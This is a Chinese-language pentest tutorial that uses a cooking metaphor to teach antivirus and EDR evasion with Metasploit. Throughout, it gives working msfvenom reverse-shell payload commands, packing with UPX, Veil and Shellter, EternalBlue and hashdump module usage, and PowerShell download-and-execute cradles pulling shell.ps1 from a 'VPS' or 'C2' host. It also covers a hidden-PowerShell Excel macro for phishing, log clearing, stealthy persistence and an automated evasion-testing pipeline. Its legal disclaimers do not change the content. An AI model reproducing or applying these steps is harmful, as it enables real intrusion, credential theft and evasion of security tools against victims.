各位小伙伴們,晚上好!
咱們今天打開宵夜“安全食材箱”,聊聊滲透測試繞過殺毒(免殺)的那些門道。你可以把免殺理解為——深夜做宵夜時,家里有人睡覺,但你非得去廚房整點美食,還不能讓“安全大媽”(殺毒軟件)發現動靜,不然飯菜沒吃上,還可能挨一頓說教。
今天,我們就用做宵夜挑食材來比喻,搞清楚免殺的原理和檢測機制,讓每位小伙伴都能把“安全鍋”玩明白,輕松整出無人察覺的美味payload!
第一節:免殺的本質是什么?(用廚房挑食材來解釋)
想象一下,你半夜餓了,廚房冰箱里有好幾種食材(各種payload載荷),但你得避開廚房的感應燈(殺毒軟件的監控)。你用普通的炸雞、火腿,容易觸發感應燈,直接被抓包。但如果你懂得挑選“隱蔽食材”(改造payload、混淆特征),比如用昨晚剩的米飯包點咸菜,裹點蛋液(變形處理),不僅填飽肚子,還能悄悄溜回臥室,沒人發現。
白話解釋
- 免殺:就是讓你的攻擊載荷(payload)能避開殺毒和防護軟件的查殺,順利運行,像深夜做宵夜一樣不被家人發現。
- 殺毒軟件檢測機制:主要靠特征碼掃描(看你是不是和已知病毒長得像)、行為檢測(你是不是做了可疑操作)、云查殺(聯網查可疑文件)。
- 免殺方式:可以是改臉換裝(編碼混淆)、潛行埋伏(內存注入)、加密外殼(殼保護)、個性化定制(自編Payload)等。
第二節:常見檢測機制一覽(廚房的“安全大媽”)
殺毒檢測方式 | 生活比喻 | 技術解釋 | 典型代表 |
---|---|---|---|
特征碼檢測 | 看食材外觀 | 靜態比對文件中的已知代碼片段(病毒簽名) | 瑞星、江民 |
行為監控 | 聽廚房動靜 | 運行時觀察進程操作(如注冊表、內存操作等) | 火絨、360 |
云查殺 | 遠程喊人來檢查 | 上傳可疑樣本到云端進行AI或專家分析 | 騰訊、金山 |
白名單/黑名單機制 | 只讓自家食材進廚房 | 只允許已認證軟件運行,陌生程序直接拉黑 | 企業級管控 |
第三節:免殺原理深度拆解(每種“食材處理”方法都有哪些)
1. 編碼混淆(食材變形術)
- 比如把生肉切成肉末裹進餃子皮里,別人就看不出是啥了。
- 技術上常用 msfvenom 進行多層編碼,或者自己用Python腳本替換關鍵字。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
- 這里
-e x86/shikata_ga_nai -i 5
就是反復“切剁混合”,讓原始肉(惡意代碼)徹底變形。
2. 外殼加密(加一層外包裝)
- 類似外賣小哥給你加一層錫紙袋,拆之前誰都看不出里面是什么。
- 常用UPX、Veil、Shellter等加殼工具。
3. 內存注入(直接把美食塞進嘴里)
- 不落地存儲,直接“喂進嘴”,不給冰箱和監控機會檢查。
- 技術上利用PowerShell、Cobalt Strike Beacon、Reflective DLL Injection等。
4. 自定義Payload(DIY秘制食譜)
- 用C/C++/Go寫自己的載荷,避開通用特征碼,像家庭小灶,外面吃不到。
坑位預警(常見誤區)
- 迷信免殺工具一步到位:萬能殼/萬能編碼只是基礎,批量生成的payload容易被AI引擎批量拉黑。
- 忽略行為檢測:只變形不收斂行為,操作系統日志/監控一樣能抓到。
- 本地查殺和云查殺一起測:有的工具只本地過關,上云即抓。
知識加油站
小貼士:
免殺不是單靠“外觀變形”,還要控制載荷行為。想想你小時候偷吃東西,既要換包裝,還得悄悄吃,不然光靠口罩是遮不住香味的!
動手實驗室
【實操挑戰】
- 用
msfvenom
生成一份普通的meterpreter反彈shell payload,在本地用多款殺毒軟件檢測。 - 嘗試增加編碼參數、加殼參數,再次檢測,看免殺效果變化。
- 總結:哪種方法最容易被查殺?原因是什么?
延伸閱讀
- MSFvenom官方文檔
- 攻防世界Pwn Wiki: 免殺技術
- 知名安全論壇-先知社區
- Veil Framework
- 反病毒引擎原理(知乎)
各位安全圈的小伙伴們,宵夜課堂繼續!
本節我們聊點“后廚真相”:殺毒軟件為什么越來越難騙?——深度解析查殺引擎和AI查殺機制的演進。
殺毒軟件越來越難騙,原理到底在哪?
你還記得小時候,家里裝的瑞星小獅子、卡巴斯基之類的殺毒軟件吧?以前只要給payload換個殼、改個名字,經常就能混過去。但現在——不管你怎么切菜、怎么包餃子,廚房的“安全大媽”就是能把你抓住。為啥?
🍱 1. “舊時代”殺毒:靠臉識人,特征碼查殺
最早的殺毒軟件,相當于小區門衛大爺只會“刷臉”——
- 文件指紋:每種病毒/木馬都像是有一張照片(特征碼、MD5、關鍵字節序列)。
- 查殺方式:掃描所有進來的文件,看是不是和“通緝名單”里的人臉吻合。
免殺技巧:只要你“化個妝”、改個發型(代碼混淆、加殼、改殼、編碼器等),大爺基本認不出來,輕松混進去。
🍳 2. “新時代”殺毒:加裝攝像頭,行為檢測上崗
門衛越來越專業,不再光看臉,還會“盯動作”:
- 行為檢測:實時監控新進廚房的所有“可疑人員”是不是在偷米、加辣、亂動鍋鏟(API調用、進程注入、內存讀寫、注冊表/文件操作等)。
- 沙箱技術:專門設個小黑屋,把新來的“食材”放進去,錄下它怎么折騰,一旦發現異常動作,直接攔截。
免殺技巧:要“學會裝乖”——不要一進屋就滿地亂跑,要等“安全大媽”巡視后再動手,或者提前偵測自己是不是在沙箱環境。
🍜 3. “AI時代”殺毒:智能巡邏隊,深度學習模型加持
現在的殺毒軟件,就像物業引入了AI巡邏機器人,不僅能識別人臉、行為,還能自我學習、越用越聰明:
- 靜態+動態雙殺:既看你的外貌(特征碼/指紋),又盯你的動作(行為/API/內存痕跡),還會把這些數據統一喂給AI大模型。
- AI查殺機制:機器學習模型每天“吃”下億萬樣本,包括最新病毒變種、免殺工具生成品、企業環境中出現的未知程序,通過特征聚類、代碼語義分析、異常行為判別、文件流量分析,“活學活用”。
- 云查殺/實時聯動:本地發現可疑東西,會上傳云端“總部大腦”,一旦判定危險,幾分鐘內全國所有電腦都能更新查殺規則。
免殺難點:你的“化妝術”和“行為偽裝”對AI來說,只要有“基因相似度”或邏輯相近、行為鏈像是木馬操作,都很難徹底騙過。而且“云查殺”讓你失去本地免殺的最后一塊陣地。
🧑?🏫 技術原理詳解
靜態查殺機制
- 特征碼(Signature):文件內特定字節序列。
- 哈希比對:MD5/SHA-1/SHA-256。
- 啟發式掃描:代碼結構/關鍵API調用順序等模式。
動態查殺機制
- 進程行為鏈分析:如explorer.exe突然創建新服務,或者powershell.exe調用wget下載可執行文件。
- 內存取證:檢測惡意shellcode、Reflective DLL等可疑加載方式。
- 沙箱分析:可疑文件被自動放入隔離區,模擬點擊、輸入、聯網等全流程運行,收集其全部行為。
AI查殺原理
- 樣本訓練:海量病毒+正常程序混合大模型訓練。
- 特征提取:如指令序列、調用圖、行為鏈、字符串相似度。
- 聚類/對抗學習:自動發現免殺工具的新變種,“一查一大片”。
- 行為畫像建模:長期跟蹤分析一臺機器(如EDR端點防護),多維數據融合,能判定“慢性木馬”。
?? 坑位預警
- 以為“殼子”無敵?錯!AI和行為分析完全不靠殼特征。
- 只在本地殺軟測通?云端一檢測,馬上暴露。
- 忽略內存注入、進程遷移?現在主流EDR都盯著“內存+API”全鏈路。
🎒 知識加油站
小貼士:
現在免殺絕對是“技術+策略+運氣”的組合。想騙過AI,要隨機、要混淆、要低調、要懂得撤退,還要不斷換路數、跟進趨勢!
💡 思考題
- 你用過的免殺方法中,有哪些只針對靜態查殺,有哪些能兼顧動態和AI查殺?
- “一刀切”的免殺工具未來還有機會嗎?
- 試著用殺軟自帶的沙箱/云查殺功能,測試你生成的payload分別能存活多久。
📚 延伸閱讀
- 《AI在惡意代碼檢測中的應用》
- 火絨安全實驗室技術分析
- 騰訊安全AI查殺系統架構
- Malware Detection with Deep Learning
🏁 一句話總結
殺毒軟件從“刷臉”到“AI云巡邏”,已從單點識別進化到全鏈路畫像——想免殺,只會“化妝”早就不夠,得學會“整容+潛伏+隨機行蹤”,這是一場永無止境的攻防競賽。
工具篇開場
還記得我們前面聊免殺時,廚房里的每種“食材”需要不同的處理方法,其實背后的廚具(工具)同樣關鍵。Metasploit就是黑客界的“頂級廚具套裝”——從切菜刀到榨汁機、再到自動炒鍋,應有盡有。每種工具(模塊)都有特定用途,組合起來能變幻出無數“安全美食”。
接下來,我會帶大家逐層剖析Metasploit的四大核心模塊,結合實戰案例、生活比喻、命令詳解和“安全廚房指南”,幫你玩轉這套神兵利器。
章節導航
- Metasploit架構總覽:安全廚房的“功能分區”
- Auxiliary(輔助)模塊:廚房里的萬能小家電
- Exploit(漏洞利用)模塊:直搗黃龍的主刀廚具
- Payload(有效載荷)模塊:各種“美食原材料”
- Post(后滲透)模塊:餐后打掃與后廚收尾
- Encoder/No-Encoder:料理變形術與調味秘方
- 模塊選用與組合實戰:一場家庭聚會的烹飪流程
- 坑位預警與安全規范:別把廚房炸了!
1. Metasploit架構總覽
廚房全景圖
想象你家的廚房:
- 冰箱存原材料(Payloads)
- 灶臺用來下鍋(Exploit)
- 電飯煲、榨汁機負責輔助工作(Auxiliary)
- 洗碗機、打掃工具負責收尾(Post)
- 調料盒讓菜色香味俱全(Encoder)
Metasploit把這些模塊靈活組合,變成了全能的“滲透測試工廠”。
2. Auxiliary(輔助)模塊
廚房里的萬能小家電
概念:Auxiliary 模塊就是廚房各種功能小電器——有的專門打蛋(信息收集)、有的專門榨汁(漏洞探測)、還有消毒柜(爆破、嗅探)等,既能單獨用,也能串聯主菜流程。
經典Auxiliary模塊舉例
功能類別 | 生活類比 | 典型模塊 | 用法/說明 |
---|---|---|---|
信息收集 | 榨汁機 | auxiliary/scanner/portscan/tcp | 掃描主機端口 |
弱口令爆破 | 自動剝蒜機 | auxiliary/scanner/ssh/ssh_login | SSH口令爆破 |
嗅探抓包 | 煮粥鍋 | auxiliary/server/capture/http | 抓取網絡請求 |
端口監聽 | 留言錄音機 | auxiliary/server/socks4a | 建立SOCKS代理,反彈流量 |
實戰小貼士:
比如要掃描某公司內網的Web服務器端口,可以用:
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
??注意:
Auxiliary通常不會直接“入侵”,但為后續滲透探路、打下基礎。
3. Exploit(漏洞利用)模塊
主刀廚具,直搗“核心食材”
概念:Exploit模塊就是主廚用的“大刀”——刀法精準,直擊食材要害,一擊致命。它利用目標系統的漏洞,把你的Payload送進去。
典型Exploit模塊
功能類別 | 生活類比 | 典型模塊 | 用法/說明 |
---|---|---|---|
操作系統漏洞 | 砍骨刀 | exploit/windows/smb/ms17_010_eternalblue | 利用Windows永恒之藍漏洞遠程執行代碼 |
應用程序漏洞 | 削皮刀 | exploit/multi/http/struts2_content_type_ognl | 利用Struts2 RCE漏洞 |
遠程服務漏洞 | 剪刀 | exploit/unix/ftp/vsftpd_234_backdoor | 利用FTP后門漏洞獲得shell |
實戰Tips:
比如拿永恒之藍舉例:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.20
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 你的IP
exploit
??注意:
Exploit用力過猛容易“切到骨頭”——導致目標宕機、被溯源。滲透測試前一定要獲得授權!
4. Payload(有效載荷)模塊
美食原材料,變形隨心搭配
概念:Payload模塊就像做菜的食材,炒青菜你放肉、放蛋還是放香腸,全看你的需求。不同Payload決定你“入侵成功后”能做什么。
常見Payload類型
類型 | 生活類比 | 功能 | 常用模塊 |
---|---|---|---|
Command Shell Payload | 生菜配火腿 | 只給你一個命令行 | windows/shell/reverse_tcp |
Meterpreter Payload | 獨家招牌菜 | 擁有全功能遠控、隱蔽能力 | windows/meterpreter/reverse_tcp |
Stager/Stage Payload | 分階段做鍋貼 | 先占點小位置,再分步注入更大功能 | windows/meterpreter/reverse_tcp (分段) |
Custom Payload | DIY家常菜 | 用腳本語言/自定義代碼寫的個性Payload | generic/custom |
實戰Tips:
經典命令:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的IP
set LPORT 4444
??注意:
Payload內容越復雜,越容易被殺毒攔截。結合“免殺技巧”一起用,效果更佳。
5. Post(后滲透)模塊
餐后打掃,廚房收尾的秘密武器
概念:Post模塊就是你宵夜吃完后的清理工——負責翻冰箱、收垃圾、藏指紋、偷鑰匙串(哈希),還能順道打包去鄰居家串門(橫向滲透)。
常見Post模塊
功能類別 | 生活類比 | 典型模塊 | 用法/說明 |
---|---|---|---|
信息收集 | 翻冰箱 | post/windows/gather/enum_applications | 列目標機應用 |
密碼抓取 | 偷鑰匙串 | post/windows/gather/hashdump | 導出所有賬號哈希 |
橫向滲透 | 串門鄰居家 | post/windows/gather/enum_shares | 枚舉內網共享資源 |
提權輔助 | 換衣服冒充家主 | post/windows/escalate/getsystem | 自動嘗試權限提升 |
實戰Tips:
use post/windows/gather/hashdump
set SESSION 1
run
6. Encoder/No-Encoder:料理變形術與調味秘方
- Encoder就像各種刀工和調料,能把食材切成不同花樣,還能掩蓋氣味(特征碼)。
- 經典如
x86/shikata_ga_nai
,多層編碼讓payload難以被查殺。 - 但“調料下多了”可能影響菜品口感(程序穩定性)——要平衡。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 5 -f exe -o test.exe
7. 模塊選用與組合實戰
舉例:
一次完整滲透流程
信息收集 → 漏洞探測(Auxiliary)→ 利用漏洞(Exploit)→ 下Payload → 成功上線后后滲透(Post)
實際操作就像做一桌豐盛宵夜:
- 先切配(信息收集)
- 再熱鍋炒菜(漏洞利用)
- 加菜碼味(Payload)
- 最后收拾廚房、打包外賣(Post模塊+橫向滲透)
8. 坑位預警與安全規范
- 坑位一:Auxiliary模塊沒用對,信息收集不到位,后續全靠猜,成功率大大降低。
- 坑位二:Exploit不匹配目標,容易宕機暴露身份。
- 坑位三:Payload太大或不免殺,容易被端掉鍋。
- ??法律邊界:所有實操必須獲得授權,不得用于未授權環境!安全第一,職業底線。
動手實驗室
挑戰1:
選擇一個你常用的Auxiliary模塊,結合Exploit和Payload,完成一次“靶機滲透”,并用Post模塊收集哈希信息。
挑戰2:
嘗試用不同Encoder編碼生成Payload,測試免殺效果并記錄檢測結果。
延伸閱讀
- Metasploit官方文檔
- 滲透測試實戰:Metasploit模塊精講
- PayloadsAllTheThings(Payload大寶庫)
- Rapid7官方知識庫
各位安全圈的小伙伴們,宵夜升級加料,這節我們正式端上“硬菜”——深度剖析Metasploit每類典型模塊的底層原理與免殺細節。
這里我們會逐個模塊類型拆解“廚房黑科技”,同時重點講解如何避開殺毒/EDR的狙擊,讓你不僅會用,還能靈活變招、不被“安全大媽”抓包。
🍲 1. Auxiliary模塊底層原理與免殺思路
📖 原理拆解
Auxiliary模塊并不直接“入侵”,而是做信息收集、嗅探、爆破、代理等工作。比如端口掃描、服務指紋識別、口令爆破,這些本質就是在模擬合法用戶操作。
技術底層:
- 多數Auxiliary模塊基于Socket編程實現(比如TCP/UDP端口掃描)
- 有些用到協議解析、模擬(如HTTP/FTP/SMB/LDAP等),甚至能自動識別目標服務版本
- 爆破模塊則利用高并發短連接模擬“暴力登錄嘗試”
🥷 免殺細節
Auxiliary模塊被查殺的概率很低,風險主要在爆破、嗅探環節:
- 暴力爆破:連續高頻密碼嘗試易被IDS/EDR檢測,可以降速+隨機化用戶名密碼。
- 嗅探掃描:大流量端口掃描會被防火墻/流量審計攔截,建議慢掃、分批、結合端口白名單。
- 真實世界建議:Auxiliary模塊要“扮演好普通廚房訪客”,避免動作太大、太密集——否則“安全大媽”會立刻注意到廚房異常。
🔪 2. Exploit模塊底層原理與免殺細節
📖 原理拆解
Exploit模塊是主動進攻主廚刀具。
- 大多數Exploit由漏洞觸發+惡意payload注入兩步組成
- 底層往往利用緩沖區溢出、命令注入、文件上傳、反序列化等技術
- 典型操作:通過構造特殊請求包(HTTP、SMB、RPC等)讓目標執行你傳遞的Payload代碼
- 支持“多平臺/多種利用路徑”,如多種協議、不同操作系統分支
🥷 免殺細節
Exploit模塊本身被查殺概率小,真正容易被“逮住”的是你注入的Payload內容:
-
載荷顯特征:直接用msf默認Payload(尤其是meterpreter、shell)幾乎100%被查殺。
-
免殺核心技巧:
-
自定義編碼(Encoder):用msfvenom多層編碼,把payload結構“攪碎”。如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe > myevil.exe
-
外殼封裝:加UPX、Veil、Shellter等工具的殼,二次變形掩蓋特征碼。
-
手寫Payload變種:用C、Python、Go、PowerShell等自己編譯,避開通用規則。
-
反沙箱檢測:增加時間/環境判斷,避免在虛擬機/分析沙箱中立即暴露。
-
反EDR技巧:
- 內存加載,避免落地文件(如Reflective DLL Injection、powershell加載)
- 加入睡眠/延遲執行、混淆命令等操作,降低檢測概率。
-
?? 坑位預警:別迷信某一類編碼或外殼,安全廠商數據庫和AI模型會“追更”,需不斷更換免殺手法。
🥘 3. Payload模塊底層原理與免殺細節
📖 原理拆解
Payload是你真正“端進去的菜”——能干的事很多:
- 命令行shell:執行單條命令的“快餐菜”,功能簡單,但隱蔽性強
- Meterpreter:全能型payload,功能多(上傳/下載/攝像頭/提權),但特征明顯,易被查殺
- Staged Payloads:分階段加載,初始只有“門鑰匙”,上線后再加載完整功能(如鍋貼皮+餡分步下鍋)
- 自定義Payload:你DIY的“家常菜”,難以被特征碼直接識別
🥷 免殺細節
-
主流殺軟的查殺邏輯:
- 靜態特征碼匹配
- 行為檢測(進程注入、網絡流量、API調用)
- 云端AI樣本比對
-
Payload免殺常用技巧:
-
多重編碼:參考exploit部分
-
加殼變形:參考exploit部分
-
內存執行(Fileless):用PowerShell、C#、msbuild等內存加載,不落地文件
-
自定義免殺Payload:
- 用msfvenom只生成shellcode,然后結合自己編寫的dropper或者loader
- 偽裝為合法程序流程(如DLL側載、Office宏、計劃任務)
-
網絡行為偽裝:
- 用HTTPS、DNS隧道等隱蔽流量(如Cobalt Strike Beacon的malleable C2)
-
實操命令:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=你的公網IP LPORT=端口 -f exe -e x86/shikata_ga_nai -i 5 -o pay.exe
🧹 4. Post模塊底層原理與免殺細節
📖 原理拆解
Post模塊是“滲透成功后”進行的各種操作:
- 信息收集(如賬號哈希、系統信息、敏感文件)
- 持久化(寫注冊表、添加計劃任務、自啟動)
- 橫向滲透(發現/攻擊內網其他主機)
- 清理痕跡(清日志、刪除自己、遷移進程)
底層實現:
- 大部分是調用目標操作系統本地API/命令行(比如powershell、cmd、WMI等)
- 有的模塊通過自帶腳本遠程執行(如python、vbscript等)
🥷 免殺細節
-
動作越隱蔽越好:用本地API、系統自帶命令(如net user、reg add、schtasks等)最難查殺
-
注意規避行為檢測:
- 持久化時不要使用常見“病毒自啟動”方式(如run、runonce注冊表鍵),可用計劃任務、服務劫持等
- 橫向滲透要適當降低流量、分批操作,避免批量掃描
-
清痕跡很重要:
- 用Post模塊的
clearev
等清日志 - 隱蔽用完的工具,及時kill自己drop的進程
- 用Post模塊的
🥄 5. Encoder(編碼器)原理與免殺本質
- 編碼器本質:就是“切菜換刀法”,把原本payload代碼按特定算法重新打亂排序,重組還原。
- 常見編碼器:
x86/shikata_ga_nai
(隨機變形)、cmd/powershell_base64
(偽裝字符串)、x64/xor_dynamic
(動態異或)等
免殺細節:
- 編碼只能防低級靜態查殺,對AI行為分析和高級引擎作用有限
- 多層混合編碼更難被直接識別,但可能影響payload穩定性
- 建議結合殼、內存加載、流量混淆等多重免殺技術
🧑?🏫 知識加油站
小貼士:
免殺就是在和“安全大媽”玩捉迷藏——只會變臉不夠,要會走位、轉移、甚至扮成“家里人”。殺軟的檢測技術隨時在升級,想免殺長期穩定,一定要多手段輪換,還要跟進最新查殺趨勢!
💥 動手實驗室
實驗1:
- 用msfvenom為一個常見Exploit生成默認payload和多層編碼payload,分別測試殺軟查殺率
- 用Veil/Shellter等工具再次二次免殺,測試本地/云查殺結果
- 嘗試自己寫一個簡單的C語言Loader加載payload shellcode,和msfvenom生成exe免殺率對比
實驗2:
- 用post/windows/gather/hashdump收集哈希
- 用post/windows/manage/persistence寫持久化任務,并嘗試用不同方式(注冊表/計劃任務/服務)設置,分析哪種最難被查殺/溯源
📚 延伸閱讀
- Rapid7 Exploit Development Guide
- Payload免殺頂級技巧集
- Veil-Framework官方指南
- Shellter官方文檔
- EDR攻防趨勢與實戰分析(知乎)
🏁 小結
本節我們拆穿了“黑廚具”的核心奧秘,每一類Metasploit模塊背后都有自己的免殺技巧與防御升級對策。安全攻防是一場持久戰,沒有萬能神兵,只有不斷進化!
實戰篇 | 從編碼混淆到內存注入的免殺全流程
🍜 場景設定
你是一名紅隊“深夜廚神”,目標是:生成一份能過主流殺毒查殺的Meterpreter遠控載荷,并順利上線。
我們用三步走:
- 編碼混淆——初步“改臉換裝”,避開傳統特征碼查殺
- 多層變形/加殼——變裝升級,迷惑靜態掃描+弱AI
- 內存注入——不落地、躲貓貓,躲過動態/AI查殺(Fileless)
第一步:編碼混淆(Payload“化妝術”)
比喻:
普通payload就像標準化妝品,一上臉大家都認識。編碼混淆=重畫五官,換發型、戴口罩,讓“安全大媽”認不出。
實操命令
目標:生成多重編碼的Meterpreter載荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 \
-e x86/shikata_ga_nai -i 7 -f exe -o meterpreter_7x.exe
-e x86/shikata_ga_nai
:經典免殺編碼器(支持多層混淆)-i 7
:迭代7次,效果明顯提升-f exe
:生成可執行文件-o
:輸出文件名
??注意
- 編碼層數越高,文件越難查殺,但穩定性可能變差;實際測試建議3~7層較平衡。
第二步:加殼/二次變形(“穿外套+假身份”)
比喻:
你已經化了濃妝,但大媽還可能通過你的衣服(PE頭/殼特征)和走路方式(API調用)來識別你。加殼/變形,就是再套一層衣服,甚至偽裝成外賣小哥/快遞員。
主流工具
-
UPX(簡單加殼,防低端查殺)
upx --best --lzma meterpreter_7x.exe
-
Veil Framework(高級免殺生成器,支持多種Payload變種/加殼/腳本偽裝)
veil # 選擇Payload類型和免殺方式,一鍵生成
-
Shellter(動態加殼、插入合法PE程序流程中,防PE特征查殺)
wine shellter.exe # 選擇auto mode,嵌入你生成的payload到合法程序
?? 坑位預警
- UPX被很多殺軟直接識別為殼,需要二次殼脫殼偽裝
- Veil/Shellter一定要選低特征、偽裝性強的模板
- 所有變形文件都要本地+云端查殺雙測試!
第三步:內存注入/文件無痕化(“不落地吃宵夜”)
比喻:
終極大招!不是把飯菜端到客廳吃,而是直接在廚房現吃,吃完立刻收拾干凈,什么垃圾也不落地。即:payload只存在內存中,不落盤。
技術路線
1. PowerShell一把梭(Invoke-Shellcode)
利用PowerShell加載Shellcode到內存,不生成落地文件,適合繞過查殺:
IEX (New-Object Net.WebClient).DownloadString('http://你的VPS/shell.ps1')
shell.ps1
內容可以用 Invoke-Shellcode 工具生成。
2. C#免殺加載器(自編或工具自動化)
- 自己寫一個C#小程序,內嵌msfvenom生成的raw格式shellcode,利用
VirtualAlloc
和CreateThread
等API動態加載。 - 可以用 Donut 工具,把Payload變成可直接內存執行的shellcode blob,C#小程序直接調用。
3. msbuild惡意工程(白利用)
- 把payload藏在XML工程文件,用msbuild.exe編譯運行,進程可信。
- 參見 msbuild免殺技巧
4. Dll側載/服務劫持/計劃任務
- 用合法程序加載你的DLL,或者通過計劃任務把powershell腳本塞到內存里執行。
實操流程小結
信息收集 → Payload生成(編碼/變形/加殼)→ 本地云查殺測試 → 免殺成功 → 利用Exploit/社會工程送入目標 → 文件落地/內存注入上線 → Post-Exploitation操作
🎒 知識加油站
小貼士:
真正的免殺載荷,往往是“多手段疊加”+“隨機輪換”+“分批低調投放”,而且一定要嚴格本地+云端雙重檢測。
?? 法律紅線
- 絕不允許在未授權環境和目標上測試、投遞payload!
- 一切實戰僅限于學習、授權紅藍對抗、合法滲透測試!
💡 動手實驗室
實驗一
- 用msfvenom生成多層編碼的Meterpreter載荷(raw格式和exe格式各一份)。
- 分別用UPX、Veil、Shellter等工具加殼和變形,記錄查殺情況。
- 將raw shellcode用Invoke-Shellcode或自寫C#加載器在沙箱內存執行,監控殺軟反應。
- 最終比對三種方式的免殺率和上線穩定性,總結最優組合。
實驗二
- 選用msbuild免殺、計劃任務隱藏、自定義服務加載等方法嘗試上線。
- 用主流EDR和云查殺檢測其查殺效果。
延伸閱讀
- Bypass AV with Veil
- Shellter官方手冊
- Fileless Payload實戰
- 免殺技巧與EDR對抗案例
- Empire和Invoke-Shellcode教程
🏁 一句話總結
真正的免殺,是“化妝+變身+隨時跑路”的組合拳。只有不斷演化、學會疊加、快速驗證,才能在AI查殺時代立于不敗!
一、多場景實戰演練
場景1:Windows 企業域內滲透
目標環境:Windows Server 2016 + 域控 + EDR
實戰要點:
- 信息收集:
auxiliary/scanner/smb/smb_version
+post/windows/gather/enum_domain
- 初步上線:生成多層編碼+UPX加殼的 Meterpreter EXE
- 文件落地:先小批量投放到文件服務器,驗證查殺率
- 內存注入:用 PowerShell
Invoke-Shellcode
直連域控,繞過文件審計 - 后滲透:
post/windows/gather/hashdump
拉域用戶哈希 →run post/windows/manage/persistence
留隱蔽后門
# PS1 內存加載示例
IEX (New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')
Invoke-Shellcode -Force -Shellcode ([System.Convert]::FromBase64String('BASE64_SHELLCODE'))
小貼士:在域環境中,強烈建議將流量偽裝成合法Kerberos/SMB調用,避免EDR異常告警。
場景2:Linux 關鍵業務服務器
目標環境:Ubuntu 20.04 + Web 應用 + ClamAV + OSSEC
實戰要點:
- WebShell 持久化:先上傳簡單 PHP 反彈腳本,測試ClamAV查殺情況
- Shellcode 內存執行:用Donut生成 ELF shellcode,再在目標上
chmod +x loader
內存加載 - 橫向滲透:
post/linux/gather/enum_configs
枚舉 SSH 密鑰 →ssh_login
爆破鄰居主機 - 清痕跡:定時
rm -f /tmp/loader
+ 日志清理腳本
// C Loader 偽代碼
void main(){ void* buf = VirtualAlloc(...); memcpy(buf, shellcode, size); ((void(*)())buf)();
}
坑位預警:ClamAV 對 UPX+shikata 大多能“一刀秒”,必須用自編loader或Donut。
場景3:Web 應用滲透 + Office 宏落地
目標環境:Windows 10 客戶端 + Office 2019 + Defender
實戰要點:
- 社會工程:郵件投遞帶有 XLM 宏的 Excel,測試 Defender/ATP 對宏的查殺
- 宏內存加載:Macro 腳本調用
mshta
或powershell -enc
,將 shellcode 載入內存 - 下載器混淆:將下載器腳本用 Base64+XOR 混淆,再在宏里解碼執行
- 持久化:用 WMI Event Subscription 實現開機執行
' Excel Macro 示例
Sub AutoOpen()Dim sc As Stringsc = Decode("BASE64_XOR_PAYLOAD")CreateObject("WScript.Shell").Run "powershell -nop -w hidden -c "& sc
End Sub
注意:Office 宏默認高危,務必先在“釣魚實驗室”測試,多版本多平臺驗證。
二、常見免殺失誤大盤點
序號 | 失誤類型 | 原因分析 | 應對策略 |
---|---|---|---|
1 | 只走編碼/只走加殼 | 依賴單一手段,面對動態/AI查殺無能為力 | 多手段疊加:編碼 + 加殼 + 內存注入 |
2 | 本地測試一錘定音 | 只在本地低端殺軟測通,云查殺或EDR一上線即掛 | 本地+云查殺+EDR沙箱三重驗證 |
3 | 忽略環境差異 | Windows 與 Linux、境外與國內、企業級與個人版差別大 | 針對不同平臺環境專門調優,無差異化直接復用易掛 |
4 | 行為檢測遺漏 | 只關注文件,忽略進程注入、網絡行為、內存讀寫 | 加入延遲執行、正當進程偽裝、流量偽裝 |
5 | 持久化方案單一 | 都用 run persistence,容易被安全評級識別 | 多種持久化方式輪換:計劃任務、服務劫持、WMI |
6 | 日志清理不到位 | 清了事件日志,卻沒清Application/PowerShell日志 | 全面日志清理:wevtutil + PowerShell 遠程日志 |
7 | 忽視內存取證 | 生成payload但落地后未檢測內存殘留 | 使用Heap/PEB清理腳本,進程退出前覆蓋Shellcode |
三、動手實驗室
- 三環境驗證:針對上面三個場景,各自生成不同類型載荷,進行本地、云查殺、EDR 沙箱測試,記錄各平臺檢測結果。
- 失誤復盤:復盤自己生成的payload,找出遺漏的防御點,并用表格匯總改進前后效果。
- 腳本自動化:編寫一段 Bash/Python 腳本,自動化執行編碼 → 加殼 → 云查殺接口查詢 → 報告生成的全流程,提升免殺效率。
四、延伸閱讀
- PayloadsAllTheThings·多場景免殺實踐
- Cobalt Strike Malleable C2 配置深度解析
- EDR 逃逸與對抗技術盤點
- Donut–Shellcode 轉換工具詳解
小結
多場景實戰+失誤盤點,是徹底搞懂免殺技術、打通思路的關鍵。不同環境有不同痛點,只有反復演練、不斷復盤,才能在AI時代的攻防競賽中保持領先!
一、免殺全自動化流水線搭建
1.1 為什么要流水線?(總述)
手工去做編碼→加殼→測試→反饋→再改的流程,效率極低,且容易漏掉某個環境的檢測。自動化流水線就像現代化生產線:源頭統一管理、每一步自動執行、測試報告實時出爐、出廠即合格,讓你的免殺載荷始終保持高通過率。
1.2 分步詳解
步驟 | 生活比喻 | 核心目標 | 常用工具/技術 |
---|---|---|---|
1. 代碼管理 | 食譜中心 | 統一維護Payload源碼與生成腳本 | Git/GitLab/GitHub |
2. 持續集成觸發 | 自動進料裝置 | 有新提交或定時觸發Pipeline | GitLab CI/CD、Jenkins、GitHub Actions |
3. 編碼與加殼 | 自動切菜+裹衣機 | 一鍵生成多層編碼 & UPX/Veil/Shellter加殼 | msfvenom + Shell腳本 + Veil/Shellter CLI |
4. 自動化查殺測試 | 試吃臺 | 本地殺軟 + 云端API + EDR沙箱 三重檢測 | ClamAV、Windows Defender CLI、VirusTotal API、CrowdStrike |
5. 報告與反饋 | 品嘗評分系統 | 根據測試結果自動生成報告,失敗自動歸檔 | Python腳本生成HTML/Slack通知/Jira工單 |
6. 部署輸出 | 打包+入庫 | 合格載荷自動存儲到制品庫,供滲透工具調用 | Nexus/Artifactory、私有HTTP服務器 |
